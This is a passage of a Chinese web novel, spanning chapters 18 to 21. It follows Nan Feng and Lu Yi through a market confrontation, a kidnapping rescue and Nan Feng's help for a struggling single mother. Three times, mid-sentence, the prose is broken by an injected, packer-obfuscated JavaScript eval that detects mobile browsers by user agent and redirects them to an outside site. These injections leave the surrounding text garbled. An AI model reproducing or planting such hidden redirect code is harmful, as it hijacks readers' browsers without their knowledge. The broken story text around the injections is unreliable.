桌子上的冰淇淋蛋糕早已融化成一滩黏黏糊糊的东西,看着让人极度不舒服,就像她此刻的心情。 * 六月新上市的水果有许多,各个看起来香甜饱满,南枫和爸爸正为晚上买哪一种回去而烦恼。这时,陆易突然出现在两人身后,他正想往南枫家去呢,没想到半路碰上了来买菜的父女俩。陆易提议买荔枝,南枫却觉得圆圆的山竹看起来更加可爱,最后各买了一些。 陆易抢在南淇坤前面付了钱,并主动伸手去拎袋子。街上的人都传这小子和南枫好上了,现在看来是真的,水果摊的老板笑眯眯地拿起一颗黄桃,掏出小刀切了几片下来递给三人:“尝个鲜,下次可以来买我们家的黄桃,黄桃也很好吃的。” “不准卖给他!” 突然传来一声喊叫,吓得老板险些将手里的黄桃抛出去。只见一位面相凶狠的妇人推着轮椅走了过来,而椅子上坐着的,是上次爆炸案后导致腿部永久性受伤的男子。“你们都忘记他是谁了吗?看看我老公的腿,你们就等着沦落到和我们同样的下场吧!”她嗓门很大,三人很快被人流包围,许多人互相推搡只为了看得更清楚些。 驻足的还有一位披着黑色连帽斗篷的男人,他看着轮椅上的人露出了一个意味深长的笑容,虽然整张脸都几乎被帽檐遮住了,但从他的笑容里不难看出“幸灾乐祸”四个字。后面又来了一位他的同伴,二人低声交流了几句,披着斗篷的男人勃然大怒,两人就这样从人堆里溜了过去,那家伙身材高大又有一种莫名的熟悉感,陆易便多留意了几眼。 另一边,那位妇人仍旧不依不饶,没想到的是这次居然有不少人为陆易说话,首当其冲的就是陈伯。七嘴八舌,如一片沸腾的漩涡,这不是南枫希望看到的场面,她想说些什么结束这场混战但被爸爸拦下了,父女俩不约而同去看陆易的表情,却发现他撇过头好像根本没在关注这件事,难道他又选择逃避了吗? 陆易看着那两人远去的背影,反复回忆他们刚刚说的话,随后像是想到了什么,急切地转过身,对上了南淇坤审视的双眼。周遭的吵闹声将他拉回了五分钟前,他也终于明白南伯父为何会用这样的眼神看他。这情况同上次回陆宅修屋顶那次一样,那次他们也碰上了这对夫妇,当时南淇坤是怎么对他说的?他说“我不会放心把女儿交给一个连为自己辩驳的力量都没有的人。” 19. 一路朝阳 废弃的仓库里,顾正庭被蒙住了双眼,绑住了手脚,然后被扔在了满是灰尘的角落里。他刚醒过来不久,眼前漆黑一片,稍微动一下身体各处便传来剧烈的疼痛,过了好一会儿才想起被绑架的事实。绑架他的人现在好像不在,可他已经好几天没有吃过东西了,根本没办法靠自己逃出去。 不一会儿,错落的脚步声由远及近,他只好放平呼吸,装作仍在昏迷。 林深进来后将地上的垃圾袋一脚踢开,垃圾洒了一地,封闭的空间瞬间被刺鼻的气味侵占,很快就吸引了无数只小虫子过来觅食。他嫌弃地吐了一口唾沫,拖过一把椅子坐下,问黑衣人该拿角落里那人怎么办,好像当初不是他一意孤行要将人绑过来一样。 黑衣男愤怒地摘下帽子,看林深的眼神恨不得把他大卸八块。当初两人说好要坐火车一起离开半山,出发那天,林深在等候室外瞎晃,正巧碰见了倒在地上气息奄奄的顾正庭,向顾家勒索钱财的念头就这样冲进了脑袋,于是他二话不说,捡起地上的砖块朝他走了过去。 黑衣男:“现在怎么办?我们哪里还有多余的钱买车票?这人已经昏迷好几天了,是死是活都不知道,我当初就应该撇下你自己走!” “你这话是什么意思!”林深不高兴了,“你是不是忘了是谁救的你?要不是我你早就饿死了,再说了,当初我说要走的时候是不是你要死要活地说再等等?你能去找女人,我就不能有干一票大的的想法吗?” 黑衣男气地一把揪住他的衣领,“我说过,我可以跟你去偷,但不能......” “我知道,”林深打断他,“你不就是怕进局子吗?怕进去后之前的事全被抖出来,可是,”说着,他拍了拍黑衣男的口袋,“你跟我干这事就不怕被抓进去了?” “我那是为了教训那个送水的,谁让他!” “谁让他看上你的女人了是吧?” 黑衣男懒得再跟他废话,拉低帽檐步履匆匆地离开了,林深自觉无趣,拿上东西后跟上他,留下顾正庭自生自灭。 等几个警察踩着风火轮赶到的时候,陆易已经将顾伯父松绑带到了安全的地方等待救援,多亏他沿路留下的线索,才让警察在最短的时间内找到正确的位置。而陆易的功劳远不止于此,虽然罪犯已经逃走了,两人的对话却完整地被躲在外面的陆易清楚地听到,他们似乎做了许多不光彩的事,参考陆易的证词,果然在仓库里发现了残留的火药痕迹,这不免让他们联想到之前集市上发生的爆炸案。 顾正庭被紧急送往医院,他看上去很虚弱却在处理好外伤后要求立刻回家,拒绝了做全身检查的建议。南枫和陆易拗不过他,于是在做完笔录后一起送他回去。顾嘉诚赶回来的时候房间里聚满了人,顾太太和佣人们正伺候老爷用餐,热腾腾的养生补气粥喝下去好几碗后他的气色才稍有恢复,除此之外,南枫和陆易也在。 两人正准备起身告辞,却被热情的顾太太邀请留下来一起用餐,南枫拒绝了,说是家里都已经准备好了,也不想耽误他们一家团聚,顾太太便让儿子送他们到门口。顾嘉诚知道这次是陆易救了自己的父亲,不仅如此,以前在陆家做事的赵妈,他的儿子在飞洛海关总署工作,陆易得知后第一时间给那人打去了电话,确认并没有抓到从半山偷渡过去的人,也算是帮他们排除了一个选项。陆易成了顾家的恩人,可看着他们紧紧牵在一起的手,这声“谢谢”怎么也说不出口。 三人在顾家大门口碰见了赶来探病的林影,在得知这位就是南枫的好友后,陆易礼貌地伸出手与她握手打招呼,“你好,我是陆易。林小姐果然如南枫所言,灵动可爱。”面对如此温柔且彬彬有礼的人,林影全程都有些害羞。原来他就是陆易,他就是南枫喜欢的人,确实是个值得喜欢的人。她忍不住偷偷瞄了一眼旁边一脸黑线的顾嘉诚,心想,怪不得他会输。 陆易:“原本约好明日见的,既然在这里遇见了,就当作是提前认识了。听说林小姐喜欢吃甜食,那就还是约在你和南枫常去的那家店如何?” 林影当然没问题,这样的安排正合她心意。三个人站在大门口聊得十分热络,唯有一人暗自神伤。离开前,陆易好心提醒顾嘉诚一定要带他父亲去医院做全面的检查,可顾嘉诚像是进入了另一个世界,他选择性地屏蔽掉了其他两个人的声音,直到南枫喊了一声他的名字,他像是被吓着了一般猛地抬起头,“怎么了?” “陆易说让你记得带伯父去检查身体。”林影替陆易重复了一遍,明明是出于好心,顾嘉诚却表现得十分不耐烦,“不劳你费心。”此话一出,场面变得相当尴尬,好在陆易没恼。南枫担忧地看了他一眼,而陆易回馈给她的是眸中无尽的笑意蔓延而开,光彩琉璃。南枫松了一口气,两人无声地对视,爱意汹涌。 看到这一幕的林影兴奋地捂住了嘴。从认识南枫以来就知道她是个外冷内热的人,她也许会热情地与你谈笑风生,但那只不过是她礼貌待人的方式,只有真正走进她内心的人才会知道她原来也是十分风趣的。而陆易的出现更是解锁了另一个层面的她,林影从没想过会在南枫的脸上看到如此美满与害羞的表情。 “你怎么这样?人家是好心,而且他还救了顾伯父,你怎么这个态度?”南枫和陆易走后,林影开始说起顾嘉诚的不是。她知道他放不下南枫,可看在陆易是顾家恩人的份上也不该给他脸色看。 顾嘉诚虽然脾气差,但不是不懂道理的人。他心里是感激的,可偏偏陆易是南枫喜欢的人,看到他们变得越来越亲密,他就更加无法说服自己,好像说了那一声“谢谢”之后便会一败涂地。 清澈的晚风是化不开的温柔,回家的路上南枫回顾了这一天发生的事情,尤其是陆易在集市上说的话,后面因为急着去追绑架犯匆忙分开,这才想起来还没好好表扬他呢。 陆易的脸上骤然升起一抹红,十指挤进她的指缝,曲指扣住:“以前的我会觉得让他们骂几句没关系,但现在不一样了,现在我不是一个人,如果我不对那些言论做出反击,会让别人觉得和我走在一起的你还有伯父都是很糟糕的人,所以我才说了那些话,为了我自己,也为了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010375|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在乎的人。” 到家了,即使再不情愿也到了该说再见的时候。 今日前来救援的警察中有一位便是当年负责陆家案子的付警官,他几乎在第一眼就认出了陆易,笔录结束后二人有过短暂的交流。付警官不断感叹时光飞逝,没想到当年那个黑瘦的小家伙如今已成了高大的男人。 回忆十二年前,火灾发生的时候付警官初为人父,他全力查证还了他清白,可嘴长在别人身上,他虽想帮他却实在力不从心。十七岁的少年面对无端的控诉不争不辩,视线的尽头是深不见底的绝望和妥协,他多么希望陆易能表现出一点点的情绪,哪怕是愤怒或者仇恨,可是什么都没有,少年也在两年后远走他乡,从此了无音讯。 每当路过陆宅,他总会想起那个被绝望笼罩的孩子,他想知道他在哪里,过着怎么样的生活。如今陆易就在他眼前,他似乎有了很大的变化,付警官在欣慰的同时不免感到好奇,他热情地邀请陆易晚上去家里聚一聚,而陆易也答应了。 “开心吗?”南枫问他。他承受了许多不该承受的,不过好在事情终于在往好的方面发展了。大家对他的看法在改变,他也在慢慢建立自己的关系网,不再是孤身一人。 当然开心,但更多的是感恩。如果不是因为遇见南枫他不会想要留在半山,在祭拜完陆家人后就会再次踏上流浪的生活。如果不是因为留下来,他不会有机会让人们对他改观,她是他曲折命运一路向阳的转折点。 但南枫还有另一层看法,“若不是因为你是你,也不会有后面的故事,所以你也要感谢自己。”陆易看着她,深沉幽暗的眼底在顷刻间翻涌起无数情丝,将她紧紧缠绕:“我很开心你能把我介绍给你的朋友认识,我一定会好好表现的。只不过,我没有任何亲人或是朋友能介绍给你,这让我觉得有些惭愧。” 他现在不仅拥有了爱情,南淇坤也带给了他来自长辈的关怀,虽然嘴上常数落他,可陆易爱喝的排骨汤,一周的时间里他会做四次。南枫给了他许多他不敢奢求的温暖,而陆易能给她的却非常有限,只一个他自己而已,所以开心的同时常觉亏欠。 南枫绵软地贴进他怀里,“你不需要觉得抱歉,我们在一起刚好互补。我很开心能够填满你内心的空缺,而我也不贪心,我只要一个你就够了。” 暖意四起,流向四肢百骸,“谢谢你,南枫。”他对怀里的人柔声低语,只余满心的感动与欢喜。南枫依偎在他怀中,心下觉得自己当真是最幸福的人,她收紧了怀抱,眼里蓄满星星点点的光芒,“也谢谢你。” 陆易出现之前她的生活也过得好好的,觉得爱情不过就是锦上添花,非必需之物。爱情当然不是全部,只是她没想到爱情会是一朵裹满蜂蜜的花朵,是莫名的悸动,是空旷的田野,是令人心潮澎湃的夏天! “我要走了,他们在等我,作为客人迟到不好的。”他嘴上这么说,却将人抱得更紧了些。 南枫:“那你走啊。” 陆易:“那你松手啊。” 南枫:“那你先松手啊。” 20. 云开见日 房门被打开,顾嘉诚疲惫的脸映入眼帘,“你们怎么来了?”他下巴上的胡渣清晰可见,加上深深的黑眼圈,整个人看起来比平日里憔悴了许多。林影说他现在就像那罐头里的酸黄瓜,失去了所有的活力,不过话又说回来,毕竟五官摆在那里,就算是酸黄瓜也是罐子里最好看的那一根。 “不是电话里跟你说过了?”林影不客气地拉着南枫就往他屋里闯,“我们过来看看你啊!你好久没出现了。”自从和父母讲开后林影的心情轻松了不少,笑容多了,人也漂亮了,浑身上下散发着浓烈的甜美气息。 顾嘉诚看着两人在沙发上舒服地坐下,不悦地皱起眉头,与她们的活力相比,他确实像极了一片蔫掉的白菜叶:“我有说我同意吗?”林影眨巴着圆溜溜的眼睛,得意地冲他歪了歪脑袋:“你也没说你不同意啊?” 顾嘉诚困倦地转了转脖子,无奈地叹了声气道:“你倒是给我机会说啊......” 顾正庭虽然已经平安回来了,但身体还很虚弱,大小事只能先靠顾嘉诚顶着。他昨天又是忙到很晚才睡下的,早上在睡梦中被电话铃声惊醒,吓得他差点从床上摔下去。接起来后,电话那头的人叽里呱啦地讲了一堆,说完就直接把电话挂断了。 没办法,又不能赶她们走,只好吩咐下人准备一些茶和点心,结果送东西进来的却是小峰和小暖。“你们两个小鬼干吗?”顾嘉诚没好气地冲弟弟妹妹大声嚷嚷,总算是被他逮到了发泄起床气的对象,然而,两小只却直接无视了自家哥哥,越过他,小心翼翼地将托盘放在茶几上。 “姐姐,你们要吃哪个点心?这两个是南瓜的,那个是山楂的,南瓜的比较好吃哦!”小暖举起胖嘟嘟的小手挡住嘴,甜甜地在南枫耳边吹气。 而小峰看到自家哥哥落座后就移到了林影身后,小家伙在心中默默地规划了一条完美的逃跑路线,抓准时机把难吃的山楂蛋糕丢到顾嘉诚面前:“那这块没人要的就给哥哥吧!”话音刚落,两小只就迈着小短腿跑出去了,在走廊上留下了一连串“咯咯咯”的嘲笑声。顾嘉诚伸手抓了个空,气得脸更绿了。 “你最近都在做什么?”林影吃着蛋糕,终于想起来关心朋友。“还能做什么?”顾嘉诚在茶几下舒展着长腿,“应付那些糟老头子呗。”他如今多少能体会到父亲每天在外打拼的辛苦,自己才接触了几日就觉得身心俱疲,而那个人已经这样做了许多年。正因为有父亲的付出与坚持才换来全家衣食无忧,想想那些不断争吵的日子,他感到十分后悔。 林影敷衍地“嗯”了一声,继而转向南枫这边,“对了南枫,我马上要去严峻笙家里做客了,你说我要怎么办?我真的要去吗?”顾嘉诚听到后瞬间黑了脸,不满地用指关节敲敲桌面,抗议道:“喂!你真的是来关心我的吗?”这家伙转移话题都不带喘气的?明明上一秒还在问他的事! “你不是都决定好要去了吗?又后悔了?”南枫品尝了一口南瓜蛋糕,甜甜的,不腻。 “按理来说是应该去的。”想到严峻笙,林影胃口全无,“但我真不想看到他那张脸!”她恶狠狠地在蛋糕上戳了几下,随即又觉得不该迁怒于美食,于是又小口小口地吃了起来。 那日拒绝严峻笙后两人就没再联系了,林影本以为可以好聚好散,没想到会闹得这么难看,回家的路上担心了一路,不知道该怎么和父母解释,毕竟两家人在生意上的往来不少。她本想过几天再和爸妈说这事,谁想那可恶的男人动作很快,林影到家的时候林父和林母都在,就坐在沙发上等她,看他们的表情就知道严峻笙已经先她一步行动了。 既然躲不过,林影索性将内心积攒多年的委屈和不满一股脑地全说了出来,吵到最后坐在地上嚎啕大哭:“我已经按你们的要求接触过了,结果就是,我不喜欢他!我讨厌他!我不要嫁给他!” 红红的小脸哭得一抽一抽的,看起来可怜极了,看来是真不喜欢。虽然放弃这么优秀的女婿十分可惜,但和严家结为亲家的念头也只好就此打消。父亲的态度让林影既意外又惊喜,过了好一会儿才缓过劲,本以为有一场硬仗要打,没想到他居然真的让步了!原来说“不”没有她想象中的那么艰难。 虽然婚事吹了,但他们生意人之间还需要维系关系,林影被父亲要求过几天到严家赔礼道歉。她虽然不情愿,可毕竟是自己先斩后奏,难得爸爸不追究,便答应了会一起去,可每每想到又要再见到那个家伙就感到心烦气躁。 “严峻笙?”顾嘉诚听到了一个他不喜欢的名字,“就是严家那个戴着副眼镜的阴险家伙吗?” “你认识他啊?”林影终于正眼看他。 “说不上认识,”顾嘉诚端起茶杯喝了一口,想起那不堪回首的耻辱史,眼角频繁抽动,“就是有一些过节罢了。” 严峻笙在商界是出了名的颜值与智商并存,而顾嘉诚却是个沉不住气的,几场牌局下来被杀了个片甲不留,被那几个人嘲笑了好一阵子。林影本以为抓到了严峻笙的把柄,听到这个理由后瞬间没了兴致,她嫌弃地瘪了瘪嘴,斜眼看着顾嘉诚:“虽然我是讨厌他,可是玩牌本来就要算计吧?他那叫谋略,你这叫技不如人。” 顾嘉诚不愿意承认这个事实又无法反驳,但他们两个吵习惯了,不呛回来一句不会甘心,最后慢悠悠地丢下一句,说等她嫁过去就知道了。林影正对山楂蛋糕下手,被酸得直皱眉,加上被顾嘉诚这话这么一刺激,激动地咳了起来:“我才不嫁给他呢!” 他们两个在一起一向如此,南枫已经见怪不怪了。顾嘉诚觉得十分解气,得意地笑了:“哟,你爸还能放过这么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014929|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女婿?对了,严峻笙不是还有个哥哥吗?” “好了,别说了!”不管是严峻笙还是严家任何人她都不感兴趣,林影不耐烦地打断他,然后扯开了话题:“喂,顾嘉诚,七月的舞会你当我男伴吧,好不好?”她原本是跟严峻笙一起去的,但两人现在是互相讨厌的情况,一下子也找不到其他人,干脆和顾嘉诚一起去好了。 顾嘉诚看着她,傲娇地“哼”了一声道:“我说林大小姐今天怎么一改反常不继续跟我抬杠了,还以为你换风格了,原来是有事相求。” 确实是有事相求,林影很想去舞会,而且她花了很多精力学习舞蹈,不跳的话岂不是太可惜了? “你就陪我去吧!你应该还没有确定舞伴吧?” 说到这,顾嘉诚装作不经意地撇了一眼南枫,“没有,再说吧。” 虽然和南枫已经说开了,但是两个人之间终究没有以往相处得那么自在,三个人像现在这样坐在一起吃吃喝喝聊天聊地,好像也是很久之前的事情了。 * 回家前南枫去了陈伯那儿买排骨,陈伯一见到她就打开了话匣子,当时南枫正在思考该如何消除和顾嘉诚之间别扭的关系,没听清陈伯说了些什么,好像提到了什么“小伙子”,应该是在说陆易。 “陈伯,你刚刚说陆易怎么了?” “哦,”陈伯不好意思地挠了挠头,“我以前对他态度不好,这孩子脾气好不跟我计较。上次也是多亏了他我的小命才没被拿去,他还经常来光顾我的小摊,特别喜欢买排骨。”说着,他又多切了几块装进袋子里。南枫示意他给多了,陈伯却摆摆手,让她别打断他,“为了感谢他的救命之恩,我说不收钱,他硬是不愿意,弄得我怪不好意思的。” 自从那事之后陈伯对陆易有了很大的改观,从上次他挺身而出维护陆易就可以看出来。他跟镇上大部人都认识,又是个话痨,碰上街边的猫狗都能聊上几句。小地方的人没什么重心思,不过有较严重的从众行为,你一言我一语,不过随大流罢了。如果陈伯真的能从中起到带头作用,对陆易来说绝对是再好不过的。 南枫:“他确实是个很好的人,你的心意我会转告他的,他知道后肯定会很开心。” “你们看起来很般配。”陈伯五十几岁的人了,爱八卦,眼神也尖。看南枫的反应便知道是自己猜对了,更加难掩兴奋,“再给你一袋排骨,多的这份不要钱,就当表达我的谢意,你说行不行?” 神婆一直在旁听他们聊天,这时突然插了一嘴,问南枫上次送她的书有没有看完。在得到否定的答案后,她突然像寻常老人对待家里小辈那般面露担忧和责备,而她是从来不会这样的。见南枫和陈伯都有些诧异,她很快恢复镇定,只在南枫走之前再一次特别认真地嘱咐她早些把书看完。 21. 小希 虽还未到盛夏时节,但从中午十二点至下午三点的气温却不容小觑,主妇们大多会选择在上午八九点的时候上集市,省的热出一身汗。平日里都是女人上街采买多,这几日街上却多了许多男人,他们可不是为了帮家里的妻子减轻负担,若不是为那点龌龊的念头,没有什么能够使唤的动这些人。 那是一位瘦骨嶙峋的年轻母亲,怀里抱着一个刚出生没几个月的小婴儿。她蓬头垢面地蹲在墙角,掀起衣服给小孩喂奶。女人浑浊的双眼唯有落在孩子脸上时才会焕发出慈爱的光芒,她拥有得不多,却把所有都给了自己的骨肉,对走光这种事根本不会放在心上。 男人们装作不经意地从她前面经过,又给自己找个理由折返,有的会装作遇见熟人,有的会故意丢下东西再回来捡,更有甚者什么借口都不用,就这样徘徊数十次,好几次险些与迎面走来的人撞到一起。恶意和贪婪的目光从四面八方不断涌向这位母亲的胸口,她却浑然不知,或者说她根本就不在意,这一幕刺痛了南枫的心,也让她感到无比恶心。 赶走几个后,南枫找了个角度在女人身边蹲下,利用自己的身体和购物袋替她挡下余下几道仍旧不死心的目光,做到这一步,这些人才尴尬地摸摸鼻子离开了。而在这整个过程中,这位可怜的母亲甚至都没有意识到有人来到了她身边,直到南枫开口对她说话,她的反应像是被雷击中了般惶恐不安,发现是位年轻的女性后,眼里的恐惧才安然褪去。 南枫:“虽然孩子饿了是大事,可以后还是在家里喂完再出来的好。” “不是我不想。”她的声音低沉暗哑,带着透支的疲倦与挣扎,“家里闷,孩子不愿意待,只有出来了才不哭。”她几乎是皮包骨的状态,嘴唇干燥起皮,脸颊凹陷,显然是饿了许久,究竟是什么样的遭遇让她变成了今天这副样子?怀里的孩子在饱餐一顿后便进入了梦乡,南枫帮她整理好衣服,扶着她站起来,“你家在哪里?我送你回去吧。” 女人的家只有不到十平米,与其说房子,不如说是一个房间。除了一张看起来下一秒就会散架的床之外没有任何其他的家具,所有的东西都被堆在角落里,墙壁发霉泛黄,地板上也有好几个洞。这里只有一扇窗户,很小很窄,还开在接近天花板的高度,采光不理想就罢了,在里面待上五分钟就会觉得呼吸困难,怪不得孩子会一直哭。 靠门的位置放了一个很小的炉子,锅里剩了一点点白粥,已经凉了,结了一层薄薄的粥皮。这个家甚至没有卫生间,需要到街上的公共厕所。不过南枫也注意到了一些特别的东西,比如说墙壁上贴着的一道符,以及门楣上一枚朝外放的镜子,这样的布置她曾在书里读到过,是专门用来驱邪避秽的。 家里只有孩子和女人用的东西,看来是位不幸的单亲妈妈。见南枫久久不说话,可怜的女人忽地失声痛哭,“对不起,我甚至连一杯水都招待不起。”她为自己的处境感到悲哀,为招待不周感到羞愧,硕大的泪珠从眼眶滚落,钻心的疼痛将她击成无数碎片。 相较初遇时,这样的她才让南枫渐渐放心,因为不管是哪一种情绪,气愤也好,羞耻也好,或是悲痛或是酸楚,都好过麻木。确认没有被奇怪的人尾随后南枫便准备告辞,女人本想送送她,可小婴儿一离开母亲的怀抱就嚎啕大哭,她只好再折回去,将孩子枕在臂弯,轻拍着他的大腿哄他入睡,“不哭不哭,小希不哭。” 小希?这让南枫想起了曾经收到的一封信,写信的人说她的丈夫突然失踪了,她的孩子还很小,因为每天晚上都有小混混上门要债,所以她带着孩子连夜搬了家…… 南枫:“请问,你是否给都城晚报写过信?” 女人闻言愣了一下,疑惑地抬头看她,过了许久后脸上喜色微露,“你是南枫?” * 女人名叫雅晴,那封信是她在最心灰意冷之时写下的,当时的她无助且绝望,每日都生活在贫穷与恐惧之中,甚至产生了带着孩子轻生的疯狂念头。写信不是为了求助,只是希望在自己离开这个世界之前能有人知道她的故事。没想到对方回信了,而这封及时的信带给了她不少安慰与帮助。 她按照信上写的去执行,真的拿到了一些补贴,不多,勉强维持生计,可总比什么都没有强。讨债的人还是坚持每日上门,她怕遭到报复就没有报警,找到房子后就带着孩子连夜搬了家,终于避开了骚扰。她十分感激南枫,便将“小希”这个名字给了自己的孩子,希望母子二人带着希望支撑下去。 南枫还另外在回信里放了全新的信纸、信封、邮票,以及一支笔。雅晴想过回信表达自己的感谢,只是连日来的高温叫她实在空不出时间,天一亮孩子就开始哭闹,哭得嗓子都哑了,雅晴知道他难受,只能将儿子抱到外面才会好些,入夜降温后再回到家里时已经累得连手都抬不起来。 南枫不在意地笑了笑,“今天能遇见你我很高兴,能帮助到你我很开心。” 两人愉快地交谈了几句,只是话题落到失踪的丈夫身上时,雅晴的神色再度变得落寞,她到现在都在日日期盼他回家,“虽然房子又破又小,但我还是希望一家三口可以团聚,再苦再难,有什么能比一家人在一起更重要的呢?” 南枫不愿她继续惦记那个男人:“你现在要首先考虑自己和孩子,其他的都是次要的,今后的路还很长,你们要坚持住,不要放弃希望。”说着,她把手里的一袋排骨递给她,“你刚生产完,又要喂奶,正是需要补充营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027669|148235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养的时候,不能只喝白粥。” 雅晴面对南枫递来的新鲜排骨吓了一跳,她已经很久没有吃过肉了,可她不好意思接受南枫的好意,毕竟她已经帮了自己许多,“你还是自己拿回去吃吧,我......有办法的。”虽然拿到了补助,交完房租后还能剩下些钱,可小希抵抗力太弱常常生病,到现在还欠着诊所一部分治疗费用没还呢。不知是哪位好心人送来了一袋米放在她家门口,母子俩这才勉强熬了过来,若不是因为那位善人,恐怕连白粥都吃不上的。 南枫明白她的顾虑,雅晴想先把欠诊所的费用还上了再用剩余的钱改善生活,可小希生病不正是营养不良导致的吗?这是个恶性的因果循环,想要打破就不能只顾一边。听到南枫这样解释,雅晴便不再推辞,最后噙着泪收下了她的好意。 送走客人后,雅晴去外面的水井里打了一些水来。白粥是早上刚煮的,天气太热的缘故才到中午就已经开始有酸味了。她不舍得倒掉,将洗干净的排骨和锅里剩下的一点白粥煮在一起,即使没有任何调味料,这也已经是她这么长时间来吃得最好的一次了。排骨上的肉很多,对她来说很珍贵,本想留一些明天再吃,可看看孩子再想到南枫说的话,最终将一整锅全部下肚。 胃被填满后才有了精力去思考现状与未来,一封信、一袋米、一锅排骨,上帝似乎总会在人们走投无路的时候给你一些希望。她在半山无亲无故,却在最艰难的时候得到了许多人的帮助,如果她还想着寻死岂不是太对不起他们了? 夜幕降临,气温降下去后孩子终于安然入睡,也只有在天黑了以后雅晴才能获得一点点个人的时间。按照往常,这是她发泄的时候,她总是坐在漆黑一片的屋内不断回忆与丈夫一路走来的点点滴滴,即便他抛下了她,可她至今都无法忘记他,她甚至没有怪过那个男人,因为依旧爱着他。等哭累了便面向墙壁祈祷,而愿望自始至终就只有一个——希望他可以回到她身边。 这天入夜后,雅晴将孩子哄睡着便独自离开了家。白天用水的人多,她又要顾着孩子,常常因为动作太慢遭邻里嫌弃,不是被插队就是被骂,她不敢惹事,往往没有打到足够的水就匆匆离开。但到了夜里就不一样了,这口水井现在是她一个人的,她有足够的时间好好利用。 井水太冰太凉,尤其是淋湿头皮的时候,激起了一身的鸡皮疙瘩,她的身体在受折磨,心里却不这样认为。湿凉的液体从额前滴落掉进眼球里,刺痛的感觉迫使她紧紧闭上双眼,可它并不会停留太久,不一会儿便从缝隙里出逃。 疼痛消失后,她睁开惺忪的眼,看到了整片璀璨的星空。万籁俱寂,今晚她没有哭,今晚她依旧会许愿,但是愿望将会与往日有所不同。